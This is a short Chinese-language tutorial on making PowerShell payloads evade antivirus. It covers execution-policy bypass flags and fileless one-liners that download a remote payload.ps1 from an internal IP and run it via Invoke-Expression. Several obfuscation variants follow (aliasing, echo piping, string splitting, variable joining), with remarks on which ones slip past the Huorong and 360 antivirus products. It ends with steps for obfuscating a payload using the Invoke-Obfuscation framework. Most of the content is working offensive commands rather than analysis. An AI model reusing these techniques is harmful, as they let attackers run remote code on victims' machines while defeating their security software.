免杀------powersehll免杀
一、powershell执行策略
Unrestricted
权限最高,可以不受限制执行任意脚本
Restricted
默认策略,不允许任意脚本的执行
AllSigned
所有脚本必须经过签名运行
RemoteSigned
本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass
没有任何限制和提示
Undefined
没有设置脚本的策略
二.查看powershell执行策略 :
Get-ExecutionPolicy -List
Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略
三、文件落地执行powershell
本地读取然后通过管道符运行
powershell Get-Content 1.ps1 | powershell -NoProfile -
Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./1.ps1
Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./1.ps1
4.免杀powershell,无文件落地
不免杀原始命令行
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.26:88/a/payload.ps1'))"
1.为iex设置别名
iex => Invoke-expression
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.10.26:88/a/payload.ps1')
2.采用echo方式,远程下载并通过IEX运行脚本,这里我们(可过火绒,360未成功)
echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.10.26:88/a/payload.ps1') | powershell -
3.利用'+'拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP,可以过火绒,不能过360)
powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.10.26:88/a/payload.ps1')"
4.分割语句将语句保存为ps1文件,放到目标主机直接执行powershell脚本
$b1='invoke-Ex';$b2='pression';$a1='((new-object net.webclient).downl';$a2='oadstring(''http://192.168.0.104:80/a''))';$a3=$b1,$b2,$a1,$a2;iex(-join $a3)
5.powershell混淆编码框架(https://github.com/danielbohannon/Invoke-Obfuscation)
1.我们来装载框架进入Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
接下来设置ps1文件进行混淆(关闭杀软).
set scriptpath D:\Users\Administrator\Desktop\a\payload.ps1
输入ENCODING 就会列出以下几种编码方式
输出文件:out 2.ps1